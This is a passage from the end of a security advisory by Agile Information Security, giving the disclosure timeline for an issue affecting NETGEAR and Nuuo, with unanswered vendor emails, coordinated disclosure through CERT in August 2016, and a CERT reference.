NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 01.08.2016: Sent an email to NETGEAR and Nuuo warning them that disclosure is imminent if CERT doesn't receive a response or status update. No response received. 04.08.2016: Coordinated disclosure with CERT. >> References: [1] https://www.kb.cert.org/vuls/id/856152 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>